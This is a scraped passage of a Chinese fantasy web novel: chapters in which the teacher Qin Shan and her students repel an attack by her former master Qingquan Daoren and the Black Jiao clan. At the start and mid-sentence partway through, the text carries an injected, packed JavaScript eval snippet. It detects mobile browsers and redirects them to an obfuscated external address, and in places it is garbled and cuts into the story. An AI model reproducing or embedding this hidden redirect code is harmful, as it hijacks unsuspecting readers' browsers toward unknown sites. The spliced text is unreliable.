;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365202|199801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“就是把你刚才说的那些话写下来,写清楚。” 苍风点点头。 秦珊看向苍羽和苍雷:“你们俩也有错。” 苍羽不服:“师父,我们有什么错?” 秦珊说:“你们不问青红皂白就吵架,差点打起来。你们是兄弟,不是仇人。以后遇到事,先问清楚,别动不动就动手。” 苍羽低下头,不说话。 苍雷也低下了头。 秦珊说:“行了,都散了吧。明天照常上课。” 众人散开,各自回屋。 秦珊站在院子里,看着他们的背影,忽然觉得有些累。 教这群孩子,比教苍爵累多了。苍爵是块璞玉,打磨就行。这群孩子,一个个都是刺头,得先拔刺再打磨。 但她没有退缩。 既然接了这活,就得干好。 晚上回到家,秦珊发现桌上有一张纸条。 她拿起来一看,是姐姐留的: 【清泉道人那边有动静。他派了第二批奸细,三个,都是金丹期。目标:确认你的状态,必要时除掉你。小心。】 秦珊把纸条烧掉,坐在桌前想了很久。 三个金丹期奸细。 比上次那个厉害多了。 她只有一个人,加上苍爵和阿九,加上七个还在学的学生,能对付得了吗? 她拿出神龛,看着它。 死亡领域能对付一个,但对付三个同时进攻,可能来不及。 归墟守卫还没解锁。她试过几次,但不知道解锁条件是什么。 她需要帮手。 秦珊想了很久,最后决定去找苍澜君。 虽然不想欠他人情,但这时候,命比面子重要。 第二天,秦珊上完课,直接去了苍澜殿。 苍澜君正在处理公务,看见她来,有些意外:“有事?” 秦珊说:“我想借几个人。” 苍澜君挑眉:“借人?” 秦珊说:“有人要杀我。我需要人保护。” 苍澜君看着她,沉默了一会儿,说:“谁要杀你?” 秦珊说:“修真界的奸细,三个金丹期。” 苍澜君说:“你怎么知道?” 秦珊说:“我有消息来源。” 苍澜君点点头,没追问。他说:“你想借什么人?” 秦珊说:“能打的,三个以上,最好金丹期以上。” 苍澜君想了想,说:“我给你五个,都是元婴期。够不够?” 秦珊愣了一下,然后说:“够了,谢谢苍澜君。” 苍澜君摆摆手:“不用谢。你帮我教孩子,我帮你保命,公平。” 他顿了顿,又说:“不过你要小心,元婴期也不是无敌的。真正遇到危险,还得靠你自己。” 秦珊点点头:“我明白。” 苍澜君叫来一个手下,吩咐了几句。那人领命而去。 秦珊告辞离开,走出大殿的时候,心里踏实了不少。 五个元婴期保镖,足够对付三个金丹期了。 接下来,就是等那些人上门。 三天后,那五个保镖到位了。 他们是苍澜君的亲卫,个个都是身经百战的老手。为首的那个叫苍影,是个看起来很普通的男人,但秦珊用眼见为识扫了一下,看到的是一串吓人的信息: 【苍影,龙族,元婴后期,苍澜君亲卫队长。战绩:击杀金丹期敌人一百二十七人,元婴期敌人三十四人,越级斩杀化神期一人。天赋:影遁,可在阴影中自由穿梭。】 秦珊看着那些数字,心里直抽抽。 一百二十七个金丹,三十四个元婴,还有一个化神。这人简直就是人形杀器。 苍影看见她在看自己,微微点头,说:“秦师父,以后我们五个负责保护你。你有什么吩咐,直接说。” 秦珊说:“没什么吩咐,就是跟着我就行。如果有人想杀我,你们看着办。” 苍影说:“明白。” 接下来的日子,秦珊的生活里多了五条尾巴。 他们平时隐藏在暗处,不打扰她上课。但只要她一出门,就能感觉到他们的存在。那种感觉很奇怪,明明看不见,但就是知道有人在旁边。 清泉道人的三个奸细一直没出现。秦珊等了一个月,两个月,三个月,还是没动静。 她有些怀疑,是不是消息错了?还是那些人放弃了? 阿九的预知也没有新的画面,只说看见一片模糊,看不清。 秦珊渐渐放松了警惕。 这天晚上,秦珊正在屋里炼器,忽然听见外面传来一阵打斗声。 她心里一紧,立刻站起来,拿起神龛。 门被推开,苍影走进来,身上带着血迹,但表情平静:“秦师父,有三个刺客,已经解决了。” 秦珊愣了一下:“解决了?” 苍影点点头:“两个金丹期,一个元婴期。全杀了。” 秦珊说:“你们没事吧?” 苍影说:“轻伤,不碍事。” 秦珊松了口气,走出门去看。 院子里躺着三具尸体,都是黑衣蒙面。她用眼见为识扫了一下: 【修真界奸细,金丹期】【修真界奸细,金丹期】【修真界奸细,元婴期】。 就是他们。 秦珊看着那三具尸体,心里五味杂陈。 等了三个月,他们终于来了。然后不到一炷香,就被苍影他们解决了。 她看向苍影,问:“你们怎么发现他们的?” 苍影说:“他们三天前就进城了。一直在暗处观察你。我们也在观察他们。” 秦珊说:“那为什么现在才动手?” 苍影说:“等他们先动手。这样杀了不犯忌讳。” 秦珊明白了。这是魔界的规矩,谁先动手谁理亏。等对方动手再反击,杀了白杀。 她点点头,说:“谢谢你们。” 苍影说:“应该的。” 他让手下把尸体处理掉,然后重新消失在阴影里。 秦珊回到屋里,坐在桌前,心里说不出是什么滋味。 清泉道人又派了人,又死了。他会停手吗?还是会派更厉害的? 她不知道。 但她知道,这场仗,才刚刚开始。 第二天上课,苍爵和阿九都听说了昨晚的事。 苍爵问:“师父,你没事吧?” 秦珊摇摇头:“没事。有人保护我。” 苍爵松了口气,但还是说:“师父,以后晚上我陪你。” 秦珊笑了:“你陪我?你打得过元婴期吗?” 苍爵说:“打不过,但我可以预警。我的天赋能在他们靠近之前发现他们。” 秦珊愣了一下,然后点点头:“也行。那你晚上过来吧。” 阿九在旁边说:“师父,我也来。” 秦珊说:“你太小了,晚上不安全。” 阿九说:“我有预知,能提前知道危险。” 秦珊想了想,说:“那你白天帮我预知,晚上回去睡觉。你还在长身体,不能熬夜。” 阿九还想说什么,但看见秦珊的眼神,只好点点头。 晚上,苍爵搬过来住了。 秦珊给他收拾了一间厢房,就在她卧室隔壁。苍影他们还是守在暗处,加上苍爵的天赋,秦珊的屋子成了铁桶一块。 清泉道人那边再没有动静。 日子一天天过去,秦珊的修为在缓慢增长,神龛里的死亡气息越来越多,苍爵和阿九的进步也越来越快。 七个新学生慢慢适应了她的教学方式,开始主动思考,主动提问。苍澜君来过几次,每次都不说话,只是看着,然后点点头离开。 银色面具的女人偶尔出现,但次数越来越少。有一次秦珊问她最近在忙什么,她说在查清泉道人的底细,查到了再告诉她。 小光长大了不少,已经能听懂简单的指令,比如“过来”“回去”“别乱跑”。秦珊有时候会带着它去上课,它就乖乖地趴在桌上,一闪一闪地看着那些学生。 日子平静得像一潭水。 但秦珊知道,这只是暴风雨前的宁静。 此时距离魔尊苏醒,还有三年。 7. 第7章上课 日子过得很快,转眼又是三个月。 秦珊站在院子里,看着她的九个学生排成一排,心里有种说不出的满足感。 苍爵站在最左边,身姿挺拔,眼神沉稳。他已经不是当初那个躲在阴影里的自闭小孩了。现在的他,能同时链接二十个人,能覆盖整个沧澜境,能通过信息网络监控每一个可疑的动静。他的修为也涨了,虽然还是不擅长打架,但自保没问题。 阿九站在苍爵旁边,个子长高了一些,脸上的稚气褪去不少。他的预知能力越来越稳定,能提前十秒预见到危险,能看见一些关键的画面。虽然还是看不清全貌,但对秦珊来说,这十秒就是生与死的距离。 苍烈站在右边第一个,身上的戾气消了不少,多了一分沉稳。他是七个兄弟里学得最好的,现在已经能用围棋的思维指挥战斗,上次带着几个兄弟去剿匪,零伤亡全歼了一窝山贼。 苍擎站在他旁边,还是那副不爱动脑子的样子,但至少学会了在动手之前先想想。苍羽还是嘴快,但已经知道什么该说什么不该说。苍云还是沉默寡言,但他的侦察报告写得越来越好。苍雷的脾气还是爆,但学会了控制,上次跟人吵架硬是忍住了没动手。苍风不再是那个被忽视的老六,他现在跟哥哥们混得很熟,脸上的笑容多了不少。 苍月站在最右边,她是唯一的女孩子,也是最受宠的。她年纪最小,学得最慢,但最认真。她最喜欢跟着秦珊学那些奇怪的知识,每次听懂了一点就高兴得眼睛发亮。 秦珊看着他们,清了清嗓子说:“今天的课就上到这里。作业都记清楚了吗?” 九个人齐声应道:“记清楚了。” 秦珊点点头:“散了吧。” 学生们散去,院子里安静下来。 小光从她怀里钻出来,绕着院子飞了一圈,落回她肩膀上。它现在已经有拳头大小,翅膀完全长成了,飞起来的时候会拖出一条漂亮的光尾。 秦珊摸了摸它,从袋子里掏出魔力结晶喂给它。小光抱着结晶咔嚓咔嚓啃起来,吃得一脸满足。 她正准备回屋,忽然感觉到一阵熟悉的波动。 她抬起头,看见院墙上站着一个穿暗红色长袍的女人,脸上戴着银色面具。 秦瑶。 秦珊心里一喜,走过去:“姐,你怎么来了?” 秦瑶从墙上跳下来,摘下面具,露出一张疲惫的脸。她看着秦珊,欲言又止。 秦珊心里一沉:“出事了?” 秦瑶点点头,压低声音说:“我查到了一些东西。” “什么?” 秦瑶说:“清泉道人这三个月没动静,不是放弃了,是在准备更大的动作。他联系上了魔界的人。” 秦珊愣住了:“魔界的人?谁?” 秦瑶说:“苍澜君的死对头,黑蛟族的族长,黑渊。” 秦珊心里一紧。 黑蛟族是龙族的死对头,两族争斗了几千年,仇恨深得很。苍澜君是龙族九大魔君之一,黑渊一直想取代他的位置。如果清泉道人跟黑渊联手,那目标就不只是她,还有苍澜君,还有整个苍澜家。 她问:“他们想干什么?” 秦瑶说:“黑渊想借清泉道人的力量削弱苍澜君,清泉道人想借黑渊的手除掉你。他们一拍即合,准备在三个月后动手。” “三个月后?” 秦瑶点头:“具体计划我还没查到,但可以肯定,他们会选一个时机,同时对你和苍澜君下手。” 秦珊沉默了一会儿,说:“姐,谢谢你。这个消息太重要了。” 秦瑶摇摇头:“你是我妹妹,我不帮你帮谁。不过你要小心,黑渊手下高手很多,清泉道人这次可能也会亲自来。” 秦珊说:“我知道。” 秦瑶重新戴上面具,说:“我得走了。黑渊的人也在查我,我不能在一个地方待太久。” 秦珊拉住她:“姐,要不你别走了,留下来。我这里有人保护,安全。” 秦瑶笑了笑,笑容里带着一丝苦涩:“我不能留下。我还有别的事要做。而且,我习惯了独来独往。” 秦珊看着她,心里有些难受。这个姐姐为了她,放弃了修真界的身份,变成了魔族,现在又为了她到处冒险。她欠她的,太多了。 秦瑶拍了拍她的手,转身跃上墙头,消失在夜色里。 秦珊站在原地,看着那片黑暗,久久没有动。 第二天,秦珊没有上课,而是去了苍澜殿。 苍澜君正在处理公务,看见她来,有些意外:“有事?” 秦珊说:“有重要的事。” 苍澜君挥挥手,让旁边的人退下。等殿里只剩下他们两人,他说:“说吧。” 秦珊把昨晚秦瑶告诉她的消息原原本本说了一遍。 苍澜君听完,沉默了很久。 然后他笑了。 那笑容很冷,带着一丝杀意:“黑渊那个老东西,终于忍不住了。” 秦珊说:“苍澜君,你早就知道?” 苍澜君说:“我知道他想对付我,但不知道他跟修真界的人勾结。你的消息很有用。” 他站起来,走到窗边,看着外面的云海,说:“黑渊一直想吞掉苍澜家的地盘,但不敢明着来。现在有修真界的人帮他,他胆子就大了。” 秦珊说:“那我们怎么办?” 苍澜君转过身,看着她:“你觉得呢?” 秦珊愣了一下,然后开始思考。 她想了想,说:“如果是我,我会将计就计。让他们以为计划成功了,然后在他们最得意的时候反杀。” 苍澜君挑眉:“具体点。” 秦珊说:“他们想同时对付你和我,那就让他们觉得得手了。你假装受伤,我假装被杀。等他们放松警惕,你再出手,我这边也出手,打他们一个措手不及。” 苍澜君看着她,眼神里多了一丝欣赏:“你这个脑子,比苍烈他们强多了。” 秦珊说:“苍澜君过奖了。” 苍澜君说:“不过有一点,你假装被杀,黑渊和清泉道人肯定会确认你的尸体。你准备怎么办?” 秦珊说:“我有办法。我有一个学生,天赋是迷雾化身,能制造幻象。还有一个学生,天赋是预知,能提前知道危险。配合起来,应该能骗过去。” 苍澜君点点头:“苍云和那个小混血?” 秦珊一愣:“你知道阿九?” 苍澜君说:“我什么不知道?你身边的事,我都清楚。” 秦珊心里一紧,但面上没表现出来。 苍澜君说:“你放心,我对你没有恶意。你帮我教孩子,我保你平安,这是交易。你的秘密,我不会过问。” 秦珊松了口气:“多谢苍澜君。” 苍澜君摆摆手:“行了,就按你说的办。我会安排人配合你。三个月后,让黑渊那个老东西好好看看,什么叫将计就计。” 从苍澜殿出来,秦珊心里踏实了不少。 有苍澜君配合,这件事就好办多了。黑渊是魔君级别的高手,她对付不了,但苍澜君能。她只需要对付清泉道人就行。 想到清泉道人,她心里涌起一股复杂的情绪。 那是原主的师父,也是她的催命符。她体内的禁制还在,五年之约还剩三年多。如果清泉道人死了,那禁制会不会自动解除?还是说会爆发? 她不知道。 但不管怎样,清泉道人必须死。他不死,她永远不得安宁。 接下来的日子,秦珊一边正常上课,一边暗中准备。 她跟苍云商量了幻象的事。苍云的天赋是迷雾化身,能制造以假乱真的幻象。秦珊让他练习把自己伪装成她,从外形到气息都要一模一样。苍云练得很认真,半个月后已经能骗过大部分人。 她又跟阿九商量了预知的事。阿九的天赋不稳定,但经过这段时间的训练,已经能提前十秒预见到危险。十秒很短,但足够她做出反应。 苍爵那边也没闲着。他的互联网天赋覆盖了整个沧澜境,能监控每一个可疑的人。秦珊让他重点盯着黑蛟族的地盘,一旦有异常立刻报告。 苍烈他们七个也被动员起来。秦珊没告诉他们全部计划,只是说可能有敌人来袭,让他们做好准备。七个年轻人跃跃欲试,天天在演武场加练,恨不得敌人明天就来。 小光也被喂得饱饱的,魔力结晶当糖豆吃。它现在已经能听懂很多指令,比如“警戒”“攻击”“回来”。秦珊试过,让它攻击一块石头,它能用光芒灼烧出一个洞。虽然威力不大,但对付低阶修士足够了。 神龛里的死亡气息也越来越浓。秦珊每天都去古战场吸收一些,加上之前杀死的那些奸细,神龛里的储量足够释放三次死亡领域。她还试着研究归墟守卫的解锁条件,但始终没成功。 时间一天天过去。 三个月很快就要到了。 这天晚上,苍爵忽然来找她。 “师父,有动静。”他的声音很急。 秦珊心里一紧:“什么动静?” 苍爵说:“黑蛟族那边有大量人员调动,至少有三百人,正在往沧澜境边界集结。” 秦珊问:“什么时候的事?” 苍爵说:“今晚开始的。我让苍烈去确认了,他刚刚传回消息,是真的。” 秦珊点点头,说:“通知苍澜君了吗?” 苍爵说:“已经通知了。” 秦珊站起来,走到窗边,看着外面的夜色。 三百人。黑渊这是要动真格的了。 她回头对苍爵说:“你去把阿九叫来。” 苍爵应了一声,转身出去。 片刻后,阿九跑进来,问:“师父,什么事?” 秦珊说:“你预知一下,今晚有没有危险。” 阿九闭上眼睛,过了一会儿,睁开眼说:“我看见很多人,在打架。有血,有火。还有一个人,穿白衣服,很厉害,他在找你。” 秦珊问:“那个人长什么样?” 阿九说:“看不清脸,但他身上有很多符文,会发光。” 秦珊心里一震。 白衣,符文发光。那是修真界化神期修士的特征。 清泉道人亲自来了。 她深吸一口气,说:“阿九,从现在开始,你跟着我,一步都不要离开。” 阿九点点头。 秦珊拿出神龛,揣进怀里,又摸了摸小光。小光感受到她的紧张,乖乖趴在她肩膀上不动。 外面传来脚步声,苍影走进来,说:“秦师父,苍澜君让我们护送你去安全的地方。” 秦珊摇摇头:“我不走。我要在这里等他们。” 苍影皱眉:“太危险了。” 秦珊说:“我有我的计划。你帮我守住外围就行,里面我自己处理。” 苍影看着她,沉默了一会儿,说:“好。但如果有危险,我会冲进来。” 秦珊点点头。 苍影退出去,消失在阴影里。 秦珊走到院子里,坐在石凳上,等着。 夜风吹过,带着一丝凉意。 小光往她脖子里缩了缩。 阿九站在她旁边,紧紧抓着她的衣角。 远处,隐约传来喊杀声。 开始了。 喊杀声越来越近。 秦珊坐在院子里,一动不动。 她能用眼见为识看见外面的情况。苍澜君的军队正在跟黑蛟族的人交战,双方打得难解难分。苍影他们五个守在院子周围,已经干掉了十几个试图冲进来的敌人。 但这不是她关心的。 她在等一个人。 等那个穿白衣的人。 终于,院墙上多了一个人。 那人穿着一身雪白的长袍,衣袂飘飘,周身环绕着淡淡的符文光芒。他看起来四十多岁,面容清瘦,眼神锐利。 清泉道人。 秦珊站起来,看着他。 清泉道人也看着她,嘴角露出一丝笑意:“秦珊,好久不见。” 秦珊说:“师父。” 清泉道人从墙上跳下来,落在院子里,离她三丈远。他打量着秦珊,说:“你变了不少。更像魔族了。” 秦珊说:“都是托师父的福。” 清泉道人笑了,笑得很温和:“你心里有怨气。” 秦珊说:“不敢。” 清泉道人说:“你知道我为什么来吗?” 秦珊说:“知道。来杀我。” 清泉道人点点头:“你很聪明。可惜,聪明人往往活不长。” 秦珊说:“师父,我能问你一个问题吗?” 清泉道人说:“问。” 秦珊说:“你当初派我来魔界,是不是就没打算让我活着回去?” 清泉道人沉默了一会儿,说:“是。” 秦珊心里一沉,虽然早就知道答案,但听他亲口说出来,还是很难受。 清泉道人说:“你是我从小养大的,我对你有感情。但感情归感情,任务归任务。魔界需要一颗钉子,你就是那颗钉子。钉子用完了,就该扔了。” 秦珊说:“那我姐姐呢?你把她关起来,也是因为任务?” 清泉道人的眼神微微一变:“你见过秦瑶?” 秦珊说:“见过。她逃出来了,现在在魔界。” 清泉道人叹了口气:“那个傻孩子,为了你,什么都肯做。可惜,她逃得了一时,逃不了一世。” 秦珊说:“师父,你今天来,不光是为了杀我吧?” 清泉道人说:“当然。杀了你之后,我还要去杀苍澜君。黑渊那边需要一点帮助。” 秦珊说:“那你觉得,你能杀得了苍澜君吗?” 清泉道人笑了:“我一个人当然杀不了。但加上黑渊,加上他手下的八大护法,就差不多了。” 秦珊点点头:“原来如此。” 清泉道人看着她,忽然说:“你好像一点都不怕。” 秦珊说:“怕有用吗?” 清泉道人说:“没用。但你至少应该求求我,说不定我会心软。” 秦珊笑了:“师父,你从来不会心软。” 清泉道人沉默了一会儿,然后说:“你说得对。所以,该上路了。” 他抬起手,周身的符文光芒大盛,一股强大的威压向秦珊涌来。 秦珊退后一步,握住怀里的神龛。 就在这时候,阿九忽然开口了:“师父,他左边。” 秦珊想都没想,往右边一闪。 一道符文剑光擦着她的肩膀划过,斩在她刚才站的地方,地上多了一道深深的裂痕。 清泉道人愣了一下,然后看向阿九:“预知天赋?有意思。” 他又抬起手,这次符文光芒更盛。 阿九又说:“师父,他这次要攻你下盘。” 秦珊往上一跃,躲过一道贴地而来的剑光。 清泉道人的眼神变了。他盯着阿九,说:“小东西,我先杀了你。” 他身形一闪,出现在阿九面前,一掌拍下。 秦珊早有准备,神龛里的死亡气息瞬间涌出,形成一道黑色屏障挡在阿九面前。 清泉道人的手掌拍在屏障上,发出一声闷响。他的脸色一变,收回手,发现掌心多了一道黑气,正在侵蚀他的皮肤。 “死亡气息?你怎么会有这种东西?”他的声音里带着一丝震惊。 秦珊没回答,继续释放死亡领域。黑色的雾气迅速扩散,笼罩了整个院子。 清泉道人周身符文光芒闪烁,抵挡着雾气的侵蚀。他看着秦珊,眼神里闪过一丝忌惮:“看来我小看你了。” 秦珊说:“师父,你一直小看我。” 清泉道人冷哼一声:“雕虫小技,以为这样就能挡住我?” 他双手结印,符文光芒大盛,形成一个光罩护住全身。雾气被光罩挡在外面,无法靠近。 秦珊心里一沉。死亡领域对元婴期以下有效,对化神期的清泉道人,效果大打折扣。 清泉道人一步步向她走来,每一步都带着强大的威压。他说:“秦珊,你确实让我意外。但意外归意外,结局不会变。” 秦珊退后一步,脑子飞速转动。 打不过。化神期太强了,她根本不是对手。 但她没打算硬拼。 她等的就是这个时刻。 她大喊一声:“苍云!” 院子里忽然涌起一阵浓雾。那不是死亡领域的黑雾,而是白色的、浓厚的迷雾。 迷雾化身。 苍云的天赋。 清泉道人愣了一下,眼前一片白茫茫,什么都看不见。他的神识探出,却发现迷雾能屏蔽神识感应。 秦珊拉着阿九,借着迷雾的掩护,迅速退到院子角落。 清泉道人在迷雾中横冲直撞,一道道符文剑光胡乱斩出,把院子里的石凳石桌斩得粉碎。但秦珊早就躲远了。 迷雾持续了一炷香才散去。 清泉道人站在院子中央,脸色铁青。他扫视一圈,没看见秦珊,只看见地上躺着一个东西。 那是一块玉佩。 他捡起来一看,玉佩上刻着两个字:秦珊。 他的脸色更难看了。 秦珊跑了。 但他没追。 因为他感觉到,一股强大的气息正在逼近。 苍澜君。 清泉道人深吸一口气,收起玉佩,身形一闪,消失在夜色里。 秦珊带着阿九,躲在城外的一座废弃小屋里。 苍云送她们出来之后就返回战场了,他得回去帮苍烈他们。 阿九缩在角落里,脸色苍白。刚才清泉道人那一掌虽然没打中他,但威压还是伤到了他。 秦珊给他喂了一颗疗伤的丹药,又用魔力帮他调理了一下,他的脸色才好了一些。 “师父,那个人好厉害。”阿九小声说。 秦珊点点头:“他是化神期,比元婴期还高一个境界。” 阿九问:“那你打得过他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365203|199801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 秦珊摇摇头:“打不过。但不用我打,会有人打。” 阿九眨眨眼:“谁?” 秦珊说:“苍澜君。” 她站起来,走到窗边,看着远处的火光。 那边的战斗还在继续。但苍澜君既然出现了,黑渊那边应该讨不了好。 她摸了摸怀里的神龛,心里有些庆幸。 今天多亏了阿九和苍云。没有阿九的预知,她躲不开第一剑。没有苍云的迷雾,她逃不出清泉道人的追杀。 这两个孩子,救了她的命。 她回头看着阿九,说:“阿九,谢谢你。” 阿九愣了一下,然后低下头,小声说:“师父教我的。” 秦珊走过去,揉了揉他的脑袋。 天亮的时候,苍影找到了她们。 他身上带着伤,但精神还好。他说:“秦师父,战斗结束了。黑渊重伤逃走,八大护法死了五个。苍澜君受伤了,但不严重。” 秦珊问:“清泉道人呢?” 苍影说:“没找到。他跑得快。” 秦珊点点头,意料之中。化神期要跑,没那么容易拦住。 苍影说:“苍澜君让我接您回去。” 秦珊说:“好。” 她带着阿九,跟着苍影回到沧澜城。 城里一片狼藉,到处是战斗的痕迹。但街上的魔族们已经开始清理废墟,秩序在恢复。 苍澜殿里,苍澜君坐在高台上,身上的衣服破了几处,但精神很好。看见秦珊进来,他点了点头:“你没事就好。” 秦珊说:“多谢苍澜君关心。” 苍澜君说:“你那几个学生,表现不错。苍云的迷雾帮了大忙,苍烈带着兄弟们守住了东城门,苍爵提前发现了敌人的动向。你教得好。” 秦珊说:“是他们自己努力。” 苍澜君笑了笑,说:“黑渊这次元气大伤,几年内不敢再闹事。你那个师父,应该也不会再来了。” 秦珊说:“但愿吧。” 苍澜君看着她,忽然说:“你体内的禁制,需要我帮忙吗?” 秦珊一愣。 苍澜君说:“我看得出来,你体内有东西。应该是修真界的手段。” 秦珊沉默了一会儿,说:“是我师父种的禁制,还有三年多就会发作。” 苍澜君点点头:“三年多,够了。我会帮你留意解除禁制的方法。魔界虽然不如修真界擅长这些,但也不是完全没有办法。” 秦珊心里一暖,说:“多谢苍澜君。” 苍澜君摆摆手:“你帮我教孩子,我帮你保命,公平。行了,回去休息吧。” 秦珊告退,走出大殿。 外面的天已经大亮,阳光透过云层洒下来,给这座刚经历战火的城池镀上一层金色。 阿九跟在她旁边,小声问:“师父,那个坏人还会来吗?” 秦珊说:“可能会,也可能不会。但不管他来不来,我们都要做好准备。” 阿九点点头。 秦珊摸了摸他的头,说:“走吧,回家。” 回到家,苍爵他们已经等在院子里。 苍烈第一个冲过来,上下打量着她:“师父,你没事吧?” 秦珊说:“没事。” 苍羽说:“师父,昨晚我们杀了十几个黑蛟族的,我亲手杀了三个!” 苍雷说:“我杀了四个!” 苍风说:“我杀了两个!” 苍月挤过来,拉着秦珊的手:“师父,我好担心你。” 秦珊看着他们,心里涌起一股暖流。 这群孩子,平时一个个刺头似的,关键时刻,是真的把她当师父。 她说:“你们都做得很好。今天放假,回去休息。明天照常上课。” 众人散去,只有苍爵留了下来。 他看着秦珊,说:“师父,我昨晚用天赋一直盯着清泉道人。他跑的时候,往东边去了,那边是黑蛟族的地盘。” 秦珊点点头:“记下来,以后有用。” 苍爵说:“师父,你真的没事吗?那个清泉道人,他……” 秦珊说:“没事。他没伤到我。” 苍爵松了口气,说:“那就好。” 秦珊看着他,忽然问:“苍爵,你怕死吗?” 苍爵愣了一下,然后说:“怕。” 秦珊说:“那你还跟着我?跟着我,可能随时会死。” 苍爵沉默了一会儿,然后说:“师父,你以前问过我,以后想干什么。我现在想清楚了。” 秦珊看着他。 苍爵说:“我想跟着你,学更多东西,变强,然后保护你,保护阿九,保护苍烈他们。我不想再当那个躲在角落里发抖的废物了。” 秦珊听着他的话,心里有些感动。 她说:“你不是废物。从来都不是。” 苍爵笑了笑,笑容里带着一丝羞涩,还有一丝坚定。 晚上,秦珊一个人坐在屋里,拿出神龛。 她用眼见为识看它,发现信息又更新了: 【归墟神龛,内蕴湮灭传承,认主状态。当前主人:秦珊。已吸收死亡气息:中量。可释放死亡领域(中级),可召唤归墟守卫(解锁条件:吸收足够死亡气息,并在生死边缘激活)。死亡领域范围:三十丈,持续时间:一炷香。】 生死边缘激活。 秦珊若有所思。 今天她被清泉道人追杀,算不算生死边缘?算吧。但那时候她没想着召唤归墟守卫,所以没激活。 下次如果再遇到危险,可以试试。 她把神龛收起来,又看了看小光。小光趴在她枕头上,已经睡着了,身体一起一伏的,发出淡淡的微光。 她摸了摸它,然后躺下来,闭上眼睛。 今天太累了,但值得。 黑渊退了,清泉道人跑了,她活下来了。 她的学生们在成长,她的实力在变强。 三年多的时间,还来得及。 来得及变强,来得及解除禁制,来得及迎接魔尊的苏醒。 她相信自己。 第二天,秦珊照常上课。 她把九个学生召集到一起,说:“昨天的事,你们都经历了。有什么感想?” 苍烈说:“打架真他妈累。” 苍羽说:“敌人比想象中多。” 苍雷说:“杀得爽!” 苍月小声说:“我害怕。” 秦珊点点头,说:“都正常。但我想让你们记住一件事。” 她顿了顿,说:“昨天的战斗,你们能活下来,能赢,靠的不是蛮力,是脑子。苍烈守城门,知道留预备队;苍羽侦察敌情,知道什么时候报信;苍爵用天赋监控全局,提前发现敌人动向;苍云用迷雾掩护我撤退。这些都是我教你们的东西。” 她看着他们,说:“你们以前觉得,打架就是一切。现在你们知道了吧?真正决定胜负的,不是谁拳头大,是谁脑子好用。” 苍烈低下头,若有所思。 苍羽说:“师父,那以后我们是不是不用练打架了?” 秦珊说:“不是。打架还是要练,但不能只靠打架。脑子加拳头,才是无敌。” 苍烈抬起头,说:“师父,我明白了。” 秦珊点点头:“行了,今天的课,就讲这个。接下来,我教你们一个新东西。” 她从怀里掏出一个巴掌大的圆盘,放在桌上。 那是一块用特殊材料炼制的圆盘,上面刻满了复杂的纹路。圆盘中央,有一个小小的光点。 苍烈好奇地问:“师父,这是什么?” 秦珊说:“这叫沙盘。模拟战场的法宝。” 她往沙盘里注入魔力,圆盘上的纹路亮起来,光点扩散,变成一幅立体地图。山川河流,城池道路,清晰可见。 众人惊呼出声。 苍羽说:“师父,这是沧澜境?” 秦珊点点头:“对。我花了三个月炼制的,能投影出沧澜境的全貌,还能模拟军队调动。” 她用手指在地图上点了一下,地图上出现一支红色的小旗。她又点了一下,出现一支蓝色的小旗。 “红色代表敌人,蓝色代表自己。你们可以在这里推演战局,模拟各种情况。输了不丢人,赢了可以复盘。” 苍烈眼睛亮了:“师父,这个厉害!” 秦珊说:“以后你们每天抽一个时辰来这里推演。我会给你们设置不同的场景,你们要想办法赢。” 九个学生围在沙盘边上,兴奋地研究起来。 秦珊退到一边,看着他们,心里有些欣慰。 这个沙盘,是她炼器以来最复杂的作品。用了上百种材料,失败了三十多次,终于成功了。虽然还不太完善,但用来教学足够了。 小光从她怀里钻出来,趴在她肩膀上,看着那群热闹的学生,也一闪一闪的。 秦珊摸了摸它,嘴角微微上扬。 日子还长着呢。 8. 第8章期待 两年后。 秦珊站在沙盘前,看着上面密密麻麻的标记,眉头微微皱起。 沙盘已经换过三次了。最早的版本只能投影沧澜境,后来扩大到整个魔界东域,现在这个是最新的,能覆盖魔界三分之一的领土。上面标注着九大魔君的领地、主要城池、交通要道,还有最近半年新出现的一些异常点。 苍爵站在她旁边,指着沙盘上一个闪烁的红点说:“师父,这里最近三天有大量魔力波动,像是有人在布阵。” 秦珊问:“能查到是谁吗?” 苍爵摇摇头:“太远了,我的天赋覆盖不到。只能感觉到有动静。” 秦珊沉默了一会儿,说:“标记下来,继续观察。” 苍爵点点头,在旁边的本子上记录下来。 两年来,他的互联网天赋已经能覆盖整个魔界东域,最远能达到千里之外。他能同时链接五十个人,传递的信息不只是声音,还有画面和感觉。秦珊让他建立了一个信息网络,把沧澜境内的所有眼线都连起来,任何风吹草动都逃不过他们的监控。 阿九从外面跑进来,手里拿着一沓纸。他长高了不少,已经是个少年模样,脸上的稚气褪了大半,眼神里多了一丝沉稳。 “师父,这是我这个月预见的碎片,整理好了。”他把纸递给秦珊。 秦珊接过来一页页翻看。阿九的预知能力越来越强,能提前三天预见一些关键事件,虽然还是碎片化的,但准确率很高。他把每天预见的画面都记下来,然后整理成册,供秦珊参考。 翻到最后一页,秦珊的目光停住了。 那上面只有一行字:【一个月后,魔界将有大事发生。很多人会死。】 她抬起头,看向阿九:“这个是什么时候预见到的?” 阿九说:“昨天。我反复确认了几次,画面很清晰。有火,有血,还有一座很大的宫殿在倒塌。” 秦珊心里一紧。 一个月后。 